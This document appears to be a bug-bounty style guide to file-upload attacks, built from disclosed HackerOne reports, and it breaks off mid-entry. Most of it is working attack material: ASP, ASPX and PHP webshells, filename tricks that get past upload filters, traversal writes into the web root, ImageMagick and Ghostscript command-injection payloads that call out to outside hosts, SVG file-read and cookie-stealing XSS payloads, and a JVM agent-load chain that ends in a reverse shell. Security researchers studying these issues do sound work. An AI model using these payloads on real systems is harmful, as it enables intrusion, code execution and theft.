# Fetch the stored file back and read the tells:
Content-Type: image/svg+xml # served as active content? -> XSS
Content-Disposition: inline # inline, not attachment? -> XSS/HTML
# (missing) X-Content-Type-Options # no nosniff? -> browser may MIME-sniff to HTML
Find which gap the target hands you, then use the matching primitive.
The validator blacklists (or weakly whitelists) dynamic extensions but compares a string that differs from what lands on disk. Match the OS: on IIS/Windows a trailing space or dot is trimmed on write, and a null byte truncates the name; alt/case extensions dodge naive lists.
# multipart filename tricks — one per attempt, then GET the path back:
Content-Disposition: form-data; name="file"; filename="shell.asp " # IIS trims -> shell.asp (#506646)
Content-Disposition: form-data; name="file"; filename="poc.asp\x00.png" # \x00 = raw 0x00 byte (Burp hex editor, NOT the text "%00") -> poc.asp (#2054184)
Content-Disposition: form-data; name="file"; filename="shell.pHp5" # case/alt: .phtml .phar .cer .asa
Content-Disposition: form-data; name="file"; filename="shell.php.jpg" # double extension
# body of the uploaded file:
<% Set s=Server.CreateObject("WScript.Shell"): Set e=s.exec("cmd /c "&request("cmd")): Response.Write(e.StdOut.ReadAll) %>
# then run commands:
GET /uploads/shell.asp?cmd=whoami HTTP/1.1
Host: TARGET
# separate name + content params, traversal chooses webroot + extension (#1356845, #1360593)
POST /v1/backend1 HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/shell.php&data=<?php system($_GET['c']);?>
# then: GET /shell.php?c=id
# client-controlled directory field -> overwrite the app entrypoint (#343726)
Content-Disposition: form-data; name="upload_file"; filename="app.js"
...MALICIOUS_JS...
Content-Disposition: form-data; name="directory"
../../
# overwrite app.js -> RCE on the next restart
SCORM/IMS course uploads, theme/plugin installers, and ZIP/site imports extract archive members onto disk. If the extracted tree is web-served and executable types aren't filtered, smuggle a shell inside and reference it. Two extra tells: the unpredictable output path is usually leaked in a follow-up response, and a failed import often leaves the uploaded file on disk as residue. ZIP-slip (.. in a member path) lives here too.
# SCORM zip: valid manifest that references your shell as a resource (#1122791)
imsmanifest.xml # references shared/shell.aspx
shared/shell.aspx # <%= command-exec webshell %>
# recover strCourseId from the edit-metadata response, then:
GET /CServer/Courseware/<COURSE_ID>/shared/shell.aspx?cmd=whoami
# SVG renamed to .heic -> preview embeds the referenced file (CVE-2021-32802) (#1261413)
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500">
<image x="0" y="0" width="500" height="500" xlink:href="/etc/passwd" />
</svg>
# swap the href to http://COLLAB/ for SSRF, or http://169.254.169.254/... for cloud metadata
# .php-extension'd JPEG carrying a shell that survives 50x50 / 75% recompression (#158148)
<crafted 50x50 75%-quality JPEG carrying <?php system($_GET['c']); ?>>
# then: GET /view/data/logos/shell_<id>.php?c=id
# SVG with an event handler; upload as .png / image MIME to pass the format check (#765679, #880099, #148853)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
# entity/DOCTYPE presence disables the attribute whitelist (#232174, #299424)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg [ <!ENTITY elem ""> ]>
<svg onload="alert(document.domain);" height="16" width="16">&elem;</svg>
# uploaded payload.js is same-origin -> beats script-src 'self' (#1380157)
<iframe srcdoc="<script src='/file-upload/<UPLOAD_ID>/payload.js?download'></script>">
# fingerprint methods first (OPTIONS / Allow), then write to the web root (#369581)
PUT /shell.txt HTTP/1.1
Host: TARGET
Content-Length: 12
Connection: close
emitrani POC
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 66 in this class.
Real-world example
ExifTool DjVu annotation eval RCE via content-type sniffing
◆ Critical
Specimen #1154542 · gitlab · 20000 · 505 votes · resolved
Program gitlabSurface webTag file-upload
Root cause
GitLab Workhorse passed uploaded jpg/jpeg/tiff to ExifTool to strip metadata, but ExifTool identifies format by content not extension; a DjVu file whose annotation contains a backslash-newline escapes the quoted string and injects Perl that ExifTool eval()s.
Method
- Craft a DjVu file whose (metadata (Copyright ...)) annotation breaks out with backslash+newline
- Insert Perl qx{} to run a command / reverse shell
- Rename it to .jpg so Workhorse forwards it to ExifTool
- Upload as a snippet/description attachment; ExifTool sniffs DjVu and evals the injected Perl
(metadata
(Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )
Insight — File-parsing tools that detect type by magic bytes (ExifTool, ImageMagick, ffmpeg) massively expand attack surface: an image whitelist by extension is meaningless. Rename payloads to an allowed extension and target a dangerous parser (DjVu, PostScript) inside the tool.
Real-world example
Extension-blacklist bypass with trailing space -> ASP webshell on IIS
◆ Critical
Specimen #506646 · starbucks · awarded · 687 votes · resolved
Program starbucksSurface webChain upload filter bypass -> webshell -> arbitrary OS commaTag file-upload
Root cause
Upload filter blacklists dynamic extensions but compares the raw filename; appending a trailing space ("asp ") passes the check, while Windows/IIS strips the trailing space when saving, leaving an executable .asp file.
Method
- Intercept the avatar/resume upload request in Burp.
- Change filename from x.jpg to x.asp<space> (trailing space after the extension) and set webshell content.
- Server saves it as x.asp (space trimmed); browse to the uploaded path with a command in a query param.
# multipart filename with trailing space defeats the blacklist:
Content-Disposition: form-data; name="file"; filename="shell.asp "
# then invoke the dropped webshell:
GET /recruitjob/tempfiles/temp_uploaded_<uuid>.asp?getsc=dir%20d:\path%20%2fs HTTP/1.1
Insight — On Windows/IIS targets, trailing space or dot in the upload filename ("asp ", "asp.") bypasses naive extension blacklists because the OS normalizes the name on write. Always fuzz upload filters with trailing whitespace/dots, case, and double extensions.
Real-world example
Report engine arbitrary file write (rdExportFilename) -> aspx webshell
◆ Critical
Specimen #1072832 · deptofdefense · awarded · 104 votes · resolved
Program deptofdefenseSurface webChain Report export -> controlled filename+content -> aspx wTag file-upload
Root cause
A Logi Analytics reporting endpoint (rdPage.aspx) let the export request control both the output filename/path (rdExportFilename) and the file contents (rdReportName), allowing an authenticated user to write a .aspx webshell into a web-served directory.
Method
- Run any report and intercept the Export-to-Excel POST to /RServer/rdPage.aspx
- Set rdReportFormat/rdExcelOutputFormat=NativeExcel
- Set rdExportFilename to shell.aspx
- Set rdReportName (POST body) to a URL-encoded C# aspx webshell that runs cmd.exe from a query param
- Forward; browse the written .aspx path and pass ?param=whoami
rdExportFilename=shell.aspx
&rdReportName=<%@ Page Language="C#"%><%@ Import Namespace="System" %><% var p=new System.Diagnostics.Process(); p.StartInfo.UseShellExecute=false; p.StartInfo.RedirectStandardOutput=true; p.StartInfo.FileName="CMD.exe"; p.StartInfo.Arguments="/c "+Request.QueryString["KEY"]; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); %>
Insight — When an export/report feature exposes both a filename and a content parameter, test writing an executable extension (.aspx/.jsp/.php) into a web-served path - it's file-write-to-RCE without any 'upload' form. Logi Analytics rdExportFilename/rdReportName is a known instance.
Real-world example
Unauth file write via directory traversal (CVE-2021-40870) -> PHP webshell
◆ Critical
Specimen #1356845 · elastic · awarded · 75 votes · resolved
Program elasticSurface webChain Cert recon -> CVE-2021-40870 unauth traversal write ->Tag file-upload
Root cause
Aviatrix Controller 6.x set_metric_gw_selections used account_name unsafely, letting an unauthenticated attacker traverse (../) and write a PHP file (data param) into the web root for RCE.
Method
- Send an unauthenticated POST to /v1/backend1 with action=set_metric_gw_selections
- Set account_name to a traversal path ending in a .php filename under the web root
- Put the PHP payload in the data param
- GET the written .php to execute it (phpinfo/webshell)
POST /v1/backend1
CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/shell.php&data=RCE<?php phpinfo()?>
Insight — Recon by TLS cert (CN) to identify the appliance, then map the IP to a known CVE - Aviatrix CVE-2021-40870 is unauth-write-to-webroot. Directory traversal in a 'name'/'account' field plus a content field is a classic file-write-to-RCE.
Real-world example
File-write via SQLite JDBC driver + SSRF to Jolokia jvmtiAgentLoad = RCE
◆ Critical
Specimen #1547877 · aiven_ltd · 5000 · 56 votes · resolved
Program aiven_ltdSurface apiChain Controlled JDBC URL (SQLite driver) -> arbitrary local fiTag file-uploadTag cloud
Root cause
A managed connector framework (Kafka Connect) bundles the SQLite JDBC driver and lets user config choose the JDBC URL, so an attacker can write an arbitrary SQLite DB file to local disk; a co-located unauthenticated Jolokia (JMX-over-HTTP) endpoint then exposes com.sun.management:type=DiagnosticCommand's jvmtiAgentLoad, which loads that on-disk file as a JVM agent JAR = code execution.
Method
- Find a service that lets you control a JDBC/connection URL and bundles the SQLite JDBC driver (jdbc:sqlite:/path/to/file.db) so you can force it to create a file at an attacker-chosen local path.
- Craft a SQLite database whose BLOB column contains a valid JVM agent JAR (Premain-Class manifest + agent code that spawns a reverse shell); the .db file on disk is simultaneously a loadable agent JAR.
- Use the connector's HTTP sink (or any localhost-reaching SSRF primitive) to reach the internal Jolokia listener (here localhost:6725).
- POST a Jolokia exec to com.sun.management:type=DiagnosticCommand invoking jvmtiAgentLoad with the path of the SQLite file you just wrote.
- The JVM loads the file as an agent; Premain runs -> reverse shell to attacker VPS (nc -nlvp 4446).
jdbc:sqlite:/tmp/agent.db # JDBC URL forces creation of attacker-controlled file on server disk
# Jolokia agent-load call (via localhost HTTP sink / SSRF):
POST http://localhost:6725/jolokia/
{"type":"exec","mbean":"com.sun.management:type=DiagnosticCommand","operation":"jvmtiAgentLoad","arguments":["/tmp/agent.db"]}
Insight — When a target lets you influence a JDBC/connection string, the driver itself is a file-write primitive (SQLite writes a real file at the URL path). Combine any 'write a file to local disk' bug with a co-located management interface that can load code from disk (Jolokia/JMX DiagnosticCommand jvmtiAgentLoad, or JMXMP, or -javaagent) to turn file-write into RCE. Always port-scan localhost from an SSRF and probe for /jolokia/ with DiagnosticCommand exposed.
Real-world example
ImageMagick/Ghostscript RCE via crafted image (ImageTragick v2, %pipe% PostScript)
◆ Critical
Specimen #402362 · pixiv · USD 2000 · 44 votes · resolved
Program pixivSurface webTag file-upload
Root cause
An image-upload endpoint passes files to ImageMagick, which delegates PostScript/PDF to Ghostscript. A crafted .jpeg that is actually PostScript uses the %pipe% device (OutputFile) to execute a shell command during rendering.
Method
- Find an image-processing/upload feature (avatar, design header, thumbnail)
- Upload a file with an image extension/content-type but PostScript body invoking %pipe%
- Confirm via out-of-band callback
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl https://COLLAB/qwetest) currentdevice putdeviceprops
Insight — Whenever a target processes uploaded images, test ImageMagick/Ghostscript RCE: send a PostScript/MVG body under an image extension and content-type image/jpeg. The %pipe% Ghostscript trick and MVG delegates both reach OS commands; use a collaborator URL for blind confirmation.
Real-world example
HTTP PUT method enabled -> arbitrary file upload to web root
◆ Critical
Specimen #369581 · ratelimited · none · 43 votes · resolved
Program ratelimitedSurface webChain arbitrary PUT upload -> (if script execution) webshell/RCTag file-upload
Root cause
The web server accepted the HTTP PUT method, allowing any unauthenticated client to write files directly into the web root.
Method
- Send an OPTIONS request or just try PUT to enumerate allowed methods
- PUT a file with a body to a path under the web root
- Fetch the URL to confirm the file was written (escalate with a server-side script if executable)
PUT /shell.txt HTTP/1.1
Host: target
Content-Length: 12
Connection: close
emitrani POC
Insight — Always fingerprint allowed methods (OPTIONS / Allow header) and test PUT/DELETE/WebDAV. A writable PUT to the web root is arbitrary file upload; if the server executes uploaded scripts it is RCE.
Real-world example
Null-byte truncated double extension upload -> ASP webshell RCE
◆ Critical
Specimen #2054184 · deptofdefense · none · 33 votes · resolved
Program deptofdefenseSurface webChain upload filter bypass -> ASP webshell -> OS command exeTag file-upload
Root cause
Upload validation checks the trailing extension (.png) but the storage layer truncates at the null byte, saving poc.asp; the classic-ASP webshell then executes OS commands via WScript.Shell on IIS.
Method
- Upload a file named poc.asp%00.png (null byte between extensions) containing an ASP webshell
- Filter sees .png, file is written as poc.asp
- Browse to /savefiles/poc.asp?cmd=... to run commands
filename="poc.asp\x00.png"
<% Set s=Server.CreateObject("WScript.Shell"): Set e=s.exec("cmd /c "&request("cmd")): Response.Write(e.StdOut.ReadAll) %>
Insight — Against extension filters, test null-byte truncation (asp%00.png), double extensions, and case/alt extensions (asp;.png, .aspx, .cer, .asa); confirm by requesting the executable path and running a command.
Real-world example
RCE via SCORM zip import dropping an ASPX webshell
◆ Critical
Specimen #1122791 · deptofdefense · awarded · 28 votes · resolved
Program deptofdefenseSurface webChain weak access control -> SCORM import -> webshell in webTag file-upload
Root cause
An LMS SCORM course upload extracts arbitrary archive contents (referenced in imsmanifest.xml) into a web-served directory without filtering executable file types, so a package containing an .aspx shell yields command execution.
Method
- Access the (weakly access-controlled) SCORM upload endpoint
- Build a valid SCORM zip but add an .aspx webshell under shared/ and reference it in imsmanifest.xml
- Upload/import, recover the generated course ID (strCourseId from the edit-metadata response), then request /CServer/Courseware/<COURSE_ID>/shared/shell.aspx
# scorm.zip contents
imsmanifest.xml (references shared/shell.aspx as a resource)
shared/shell.aspx (<%= command exec webshell %>)
# reach it at: /CServer/Courseware/<strCourseId>/shared/shell.aspx
Insight — 'Content package' importers (SCORM, IMS, themes, plugins) are archive-extraction file-upload sinks: if the extracted tree is web-served and executable extensions aren't blocked, drop a shell and reference it in the manifest. The unpredictable output path is usually leaked in a follow-up response (here strCourseId).
Real-world example
Arbitrary local file read via image-preview routed into ImageMagick (SVG xlink:href)
◆ Critical
Specimen #1261413 · nextcloud · none · 16 votes · resolved
Program nextcloudSurface webChain upload polyglot -> preview generation -> arbitrary filTag file-upload
Root cause
A preview/thumbnail provider for one format (HEIC) hands the file to Imagick, which auto-detects and processes ALL formats including SVG; a crafted SVG referencing a local path via xlink:href is rendered, embedding file contents into the returned image (file read, plus SSRF/XXE surface).
Method
- Upload a file with an allowed extension (e.g. .heic) whose real content is SVG.
- Point an <image xlink:href> at a local absolute path (or http:// for SSRF).
- Request the preview/thumbnail; the rendered PNG contains the referenced file's contents.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500">
<image x="0" y="0" width="500" height="500" xlink:href="/etc/passwd" />
</svg>
Insight — Whenever an app generates previews/thumbnails, the content-type is decided by ImageMagick's magic-byte sniffing, not by the extension you uploaded. Rename an SVG to any accepted image extension and use xlink:href (file read) or a remote URL (SSRF) - classic ImageTragick-style delivery. CVE-2021-32802.
Real-world example
Arbitrary file write via user-controlled upload directory field (RCE)
◆ Critical
Specimen #343726 · nodejs-ecosystem · none · 13 votes · resolved
Program nodejs-ecosystemSurface webChain Directory-field traversal + no filetype check -> overwritTag file-upload
Root cause
express-cart's admin image upload uses an unvalidated client-supplied `directory` form field to build the destination path and performs no file-type/size check, allowing writes to any path including overwriting the app entry point.
Method
- Authenticate as admin
- POST to /admin/file/upload with a malicious .js file
- Set the directory field to ../../ (or deeper) to escape the upload dir
- Overwrite app.js with a webshell/backdoor -> RCE on restart
POST /admin/file/upload
Content-Disposition: form-data; name="upload_file"; filename="app.js"
...MALICIOUS_JS...
Content-Disposition: form-data; name="directory"
../../
Insight — Upload endpoints exposing a client-controlled destination field (directory/path/folder) are arbitrary-file-write primitives; combine with missing filetype checks to overwrite an executable file (app.js, cron, startup script) for RCE.
Real-world example
Arbitrary file write via storage-path override -> RCE via Startup folder
◆ Critical
Specimen #683965 · central-security-project · none · 12 votes · resolved
Program central-security-projectSurface webChain arbitrary file write -> Startup folder autorun -> codeTag file-upload
Root cause
An admin-configurable repository storage path (overrideLocalStorageUrl) is used unvalidated as the on-disk write root; combined with an artifact-upload endpoint whose g/a/v params become directory/file names, an attacker writes arbitrary files anywhere the service (SYSTEM) can.
Method
- Create a hosted repo whose overrideLocalStorageUrl points two levels above the target dir (e.g. Windows Startup Menu)
- Upload an artifact, using the g/a/v/e params to steer the final path and extension (e.g. calc.exe)
- File lands in the user's Startup folder; executes on next logon as SYSTEM
POST /nexus/service/local/repositories
{"data":{...,"overrideLocalStorageUrl":"file:/c:/Users/myuser/Appdata/Roaming/Microsoft/Windows/Start Menu",...}}
POST /nexus/service/local/artifact/maven/content (multipart)
r=<repoId> g=Programs a=Startup v=. p=jar e=exe file=@calc.exe
Insight — Any feature that lets a user set a base storage/output path plus a filename is an arbitrary-write primitive. Escalate arbitrary write to RCE via autorun locations (Windows Startup folder, cron, web root, .bashrc) rather than hunting a script-exec sink.
Real-world example
Unauth unrestricted file upload + path traversal -> PHP webshell (Aviatrix CVE-2021-40870)
◆ Critical
Specimen #1360593 · informatica · none · 12 votes · resolved
Program informaticaSurface webChain unauth file write + traversal -> PHP webshell -> RCETag file-upload
Root cause
An unauthenticated Aviatrix Controller endpoint writes a file whose path/name comes from a request parameter with no type restriction; ../ traversal in that param plus PHP content in another param drops a webshell into the webroot for direct execution.
Method
- Send the unauth POST that sets a filename parameter to a traversal path ending in .php with PHP content in the data param
- Request the written .php to execute code
POST /v1/backend1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/shell.php&data=RCE<?php phpinfo()?>
# then GET /v1/shell.php
Insight — Look for endpoints that take a name/path param and a content/data param separately; if the path is traversable and the extension unfiltered, you place arbitrary files in the webroot. Fingerprint the vendor behind an IP via the TLS certificate (curl -kvI) to attribute in-scope assets.
Real-world example
Unrestricted profile-picture upload of .php yields RCE
◆ Critical
Specimen #1164452 · mtn_group · none · 12 votes · resolved
Program mtn_groupSurface webChain upload -> stored path disclosure via page source -> diTag file-upload
Root cause
Profile-photo upload performed no extension/content-type validation and stored files under a web-served, directly reachable path, so an uploaded .php executes when its URL is requested.
Method
- Register and log in, go to profile update
- Upload a .php file as the profile photo (no filter blocks it)
- View page source to recover the stored file's full path
- Request the path in a browser to execute the PHP
<?php echo "proof of concept (PoC) by aliyugombe"; ?>
# stored at and executed via:
https://TARGET/en/user/images/users/-DD-MM-YYYY-payload.php
Insight — Any upload sink that (1) skips extension/MIME allowlisting and (2) writes into a script-executable web directory is an RCE. Always confirm the stored URL is web-served and try single/double extensions and .php/.phtml/.php5/.phar.
Real-world example
DNN default CKEditor provider allows unauthenticated file upload (CVE-2025-64095)
◆ Critical
Specimen #3414079 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
DNN (<10.1.1) ships the DNNConnect.CKE HTML editor provider whose FileUploader.ashx handler accepts file uploads and overwrites of existing files without authentication, enabling defacement and stored XSS.
Method
- Fingerprint a DNN site (<10.1.1)
- Send a POST to the provider's FileUploader.ashx handler with a file
- File is written/overwritten with no auth -> defacement / XSS payload delivery
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: TARGET
# multipart file upload body (unauthenticated)
Insight — Bundled rich-text/editor providers often expose their own unauthenticated file handlers separate from the app's auth; enumerate /Providers/ and editor plugin paths (CKEditor, TinyMCE) for standalone upload endpoints even when the main app requires login.
Real-world example
.htaccess upload blacklist bypass via internal copy from federated share
◆ Critical
Specimen #228825 · nextcloud · none · 7 votes · resolved
Program nextcloudSurface webChain federated share -> internal copy (no blacklist) -> .htTag file-upload
Root cause
Storage::copyFromStorage does not re-check the file blacklist when copying a folder, so files that can't be uploaded directly (.htaccess, .php) can be smuggled into the local data dir (inside webroot) by moving them out of a federated/external share.
Method
- Host an evil Nextcloud with the file blacklist disabled
- Create sharefolder/attack containing .htaccess (allow from all) and attack.php
- Federated-share it to the victim instance
- Move attack out of the share into local storage, then browse to /data/userid/files/attack/attack.php
# .htaccess
<Files *.php>
Require all granted
</Files>
# attack.php
<?php system($_GET['c']); ?>
Insight — Upload blacklists often protect the upload path but not internal move/copy/import routines; find a secondary ingress (federated share, import, sync, unzip) that lands files without re-validation, especially where the data dir sits inside the webroot.
Real-world example
Atlassian Crowd pdkinstall plugin upload -> root RCE (CVE-2019-11580)
◆ Critical
Specimen #632721 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain unauth plugin upload -> servlet exec as root -> SSO ta
Root cause
Vulnerable Atlassian Crowd builds ship with the pdkinstall development plugin enabled, so an unauthenticated attacker can upload an arbitrary plugin (JAR) that executes code, here as root.
Method
- Confirm Crowd version in the vulnerable range
- POST a malicious plugin JAR to /crowd/admin/uploadplugin.action
- Invoke the plugin's servlet to run commands
curl -k -H "Content-Type: multipart/content" \
--form "file_cdl=@rce.jar;type=application/octet-stream" \
https://TARGET/crowd/admin/uploadplugin.action
# then GET /crowd/plugins/servlet/<your-servlet>
Insight — Identity/SSO middleware (Crowd, OpenAM, Keycloak) are high-value: check pdkinstall/uploadplugin.action and other dev endpoints left enabled in release builds. A plugin-install feature = code execution.
Real-world example
ownCloud ImageMagick MSL coercion -> PHP webshell write (RCE)
◆ Critical
Specimen #1838674 · owncloud · awarded · 7 votes · resolved
Program owncloudSurface webChain file upload -> ImageMagick MSL write -> PHP webshell iTag file-upload
Root cause
ownCloud generates previews with ImageMagick; uploading an SVG that references an attacker MSL file makes ImageMagick's Magick Scripting Language read a known-path image and write attacker-controlled PHP into the webroot (e.g. index.php), yielding code execution.
Method
- Upload exploit.msl (reads a known uploaded file, embeds PHP in a comment, writes to /var/www/owncloud/index.php)
- Upload an SVG whose <image xlink:href> is msl:/path/to/exploit.msl
- Trigger preview generation; reload the rewritten index.php to run the PHP
<!-- exploit.msl -->
<image>
<read filename="/mnt/data/files/admin/files/Photos/Portugal.jpg" />
<resize geometry="400x400" />
<comment><?php echo php_uname(); ?></comment>
<write filename="/var/www/owncloud/index.php" />
</image>
<!-- trigger.svg -->
<svg xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:/mnt/data/files/admin/files/exploit.msl" height="500" width="500"/>
</svg>
Insight — Wherever user images hit ImageMagick (preview/thumbnail generation), test the MSL/SVG coder chain: an SVG referencing msl: lets you read arbitrary files and WRITE a PHP webshell. Requires knowing an uploaded file path; distinct from ImageTragick.
Real-world example
Extension/path whitelist bypass via substring-match-anywhere (GoldSrc .sav -> DLL write & load)
◆ High
Specimen #458842 · valve · USD 1500 · 99 votes · resolved
Program valveSurface desktopChain Malicious server -> forced .sav download -> console-coTag file-upload
Root cause
The save-file loader validates the allowed extension (*.HL?) and blocks '..' by checking for those substrings anywhere in the path instead of anchoring the extension check to the end. Embedding the allowed token mid-path lets an attacker write files with an arbitrary real extension (e.g. .dll) into attacker-chosen subdirectories.
Method
- Craft a malformed .sav whose internal member unpacks to a path like SAVE/test.HL1.dll -- the '.HL1' substring satisfies the extension check but the real trailing extension is .dll.
- Trigger unpack: place fakeresource.sav in %gamedir%/SAVE/ and run `load fakeresource` in console.
- Remotely: a malicious server downloads the .sav to a connected client, then via SVC_StuffText/SVC_Director drives client console commands to create target dirs, set gamedir, and load the file so the unpacked DLL lands where the engine loads client libraries.
- On engine restart the client loads the attacker DLL from cl_dlls/client.dll -> code execution on the client.
# Console commands the malicious server injects via SVC_StuffText / SVC_Director:
_setgamedir %gamedir%_downloads;_restart
# then on reconnect:
logsdir SAVE/test.HL1/cl_dlls;log on;_setgamedir %gamedir%_downloads/SAVE/test.HL1;load fakeresource;_restart
# fakeresource.sav unpacks -> SAVE/test.HL1/cl_dlls/client.dll (arbitrary DLL loaded into engine)
Insight — When a filename/extension filter uses strstr/contains instead of an endswith/anchored check, place the allowed token in the middle of the path and append the real dangerous extension. Also: any 'allowed temp extension' during archive/save extraction is a file-write primitive if the path isn't sandboxed.
Real-world example
SVG element-whitelist bypass via XML entity/DOCTYPE
◆ High
Specimen #232174 · shopify · USD 5000 · 86 votes · resolved
Program shopifySurface webChain Malicious SVG icon -> whitelist bypass -> stored XSS oTag file-uploadTag oauth
Root cause
An SVG upload is normally restricted to a whitelist of allowed elements/attributes, but adding an XML entity declaration (DOCTYPE/<!ENTITY>) causes the whitelist enforcement to be skipped, letting the SVG keep an onload handler that fires in the admin/partner origin.
Method
- Create a Sales Channel app that accepts an SVG navigation icon (whitelist-validated)
- Include a DOCTYPE with an <!ENTITY> declaration plus <svg onload=...>
- Upload; the entity disables whitelist enforcement so onload survives
- Fires on partners.shopify.com and on any shop admin that OAuth-authorizes the app
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg [ <!ENTITY elem ""> ]>
<svg onload="alert(document.domain);" height="16" width="16">
&elem;
</svg>
Insight — When an SVG/HTML sanitizer applies an element allow-list, probe parser edge cases: a DOCTYPE/entity declaration can flip the sanitizer into a mode where it stops enforcing the whitelist. This turns a 'safe icon upload' into stored XSS that propagates to every tenant that installs the app (via OAuth authorize).
Real-world example
Stored XSS via SVG upload masqueraded as raster image, served inline
◆ High
Specimen #765679 · outpost · none · 59 votes · resolved
Program outpostSurface webChain file upload -> inline SVG render -> stored XSS -> cTag file-uploadTag account-takeover
Root cause
Upload endpoints validate extension/declared type but not real content; an SVG carrying onload=... uploaded as .png/.gif/.bmp is stored and served with Content-Disposition: inline, executing JS when a victim opens it.
Method
- Craft an SVG with an event handler (onload) that runs JS
- Rename it to .png/.gif/.bmp (or set image Content-Type) to pass the format check
- Send/upload it so a victim opens the file directly in-browser
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="2560" height="1600" onload="alert(document.cookie)">
Insight — Any upload served inline (not attachment) with attacker-controlled bytes is an XSS sink; SVG is the prime vector because it is XML+script. Bypass format checks by keeping SVG bytes under an image extension/MIME.
Real-world example
Upload .shtml/.html bypassing filter -> SSI + config/info disclosure
◆ High
Specimen #412481 · starbucks · none · 46 votes · resolved
Program starbucksSurface webTag file-upload
Root cause
An IIS upload endpoint validates by extension but allows html/shtml; because the server processes SSI in .shtml, an attacker uploads a file that is served and parsed, disclosing internal IP, physical paths, and web.config.
Method
- Find an upload endpoint that accepts a file; change the filename extension to .shtml (or .html).
- Upload content; retrieve it from the returned temp path in a browser so the server renders it.
- Read leaked SERVER_NAME/REMOTE_ADDR/DOCUMENT paths and web.config via SSI/server variables.
POST /recruitjob/hxpublic_v6/hxinterface6.aspx?_hxcategory=hx_filebox_upload_file HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=---B
-----B
Content-Disposition: form-data; name="...upload_file_inputbox"; filename="xxx.shtml"
Content-Type: text/html
<!--#echo var="DOCUMENT_NAME"-->
-----B--
Insight — An upload filter that only blocks obvious script extensions still lets through server-parsed formats (.shtml for SSI, .html for stored XSS). Try .shtml/.stm on IIS/Apache and check whether the uploaded file is rendered rather than downloaded.
Real-world example
Webshell upload via extension-rename + EXIF-embedded PHP
◆ High
Specimen #357858 · monero · none · 43 votes · resolved
Program moneroSurface webTag file-upload
Root cause
A profile-image upload lacks real image validation and stores files under the user-supplied name/extension in a web-served directory, so a PHP payload embedded in image metadata and saved with a .php extension executes as a webshell.
Method
- Embed PHP in an image metadata field with exiftool
- Rename the image to .php
- Upload it; even on a 500 error the file lands in /uploads/profile/
- Recover the path using the response timestamp -> [username][timestamp].php
exiftool -documentname='<?php echo file_get_contents("/etc/passwd"); ?>' picture.png
# rename picture.png -> shell.php, upload, then visit:
https://TARGET/uploads/profile/[USERNAME][timestamp].php
Insight — Two independent failures make upload RCE: (1) no magic-byte/content validation and (2) attacker controls stored extension. Even when the upload errors out, the file is often already written - guess the path from the response time/username pattern. EXIF fields are a clean place to smuggle PHP past image-only checks.
Real-world example
SVG upload XSS: XML entity disables element/attribute whitelist
◆ High
Specimen #299424 · shopify · USD 3000 · 34 votes · resolved
Program shopifySurface webChain malicious app icon -> stored XSS on partner dashboard andTag file-upload
Root cause
An SVG uploader enforces an element/attribute whitelist, but the presence of any XML entity in the document causes the sanitizer to stop enforcing the whitelist, letting <script>/onload through and yielding stored XSS wherever the SVG is served.
Method
- Find an SVG upload constrained by a design/element whitelist (icons, avatars)
- Include an XML entity / comment construct so the sanitizer skips whitelist enforcement
- Embed a <script> and upload; XSS fires where the SVG renders (partner dashboard, shop admin)
<svg><!--?php "--><script>confirm(20)</script>?></svg>
Insight — SVG sanitizers frequently mis-handle XML entities/DOCTYPE/comments; slipping one in can flip the parser out of whitelist mode. Any user-rendered SVG (icons, avatars, logos) is an XSS sink — test entity/comment tricks, not just a bare <script>.
Real-world example
ImageMagick MVG delegate command injection via image upload (ImageTragick, CVE-2016-3714)
◆ High
Specimen #135072 · security · awarded · 32 votes · resolved
Program securitySurface webTag file-upload
Root cause
A profile-picture upload passes files to ImageMagick without verifying they are real images. ImageMagick parses ASCII as MVG (Magic Vector Graphics); its 'image' directive supports delegates (e.g. https:) whose handler shell-invokes curl, and the URL is not shell-escaped - so a crafted .gif runs OS commands.
Method
- Upload an ASCII MVG file with an image extension (x.gif)
- Use an image over directive with an https: delegate URL containing a backtick command
- ImageMagick's delegate handler executes the injected command
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`wget -O- 1.2.3.4:1337 > /dev/null`'
pop graphic-context
Insight — For any image-processing target, test both ImageTragick vectors: MVG delegate command injection (this, via `...` in a delegate URL) and the Ghostscript %pipe% PostScript trick. Fix = magic-byte allowlist before ImageMagick and blocking outbound connections from image workers.
Real-world example
Unauthenticated arbitrary file upload
◆ High
Specimen #698789 · deptofdefense · none · 19 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
An unauthenticated /upload.php endpoint accepted arbitrary files and the uploaded file was retrievable from a known path, enabling stored XSS and attacker content hosting (and potential code execution if executable types are served).
Method
- Discover the upload endpoint (e.g. /upload.php) requiring no auth
- Upload a test file; note the success message and storage path
- Retrieve the file from its served path (e.g. /delete.me) to confirm
POST /upload.php (multipart file, no auth) -> retrievable at /<known-path>
Insight — Probe for unauthenticated upload endpoints and always confirm the web-accessible landing path; from there escalate by testing executable extensions, HTML/SVG for stored XSS, and content-type/double-extension bypasses.
Real-world example
Unrestricted upload via client-side-only extension/size check
◆ High
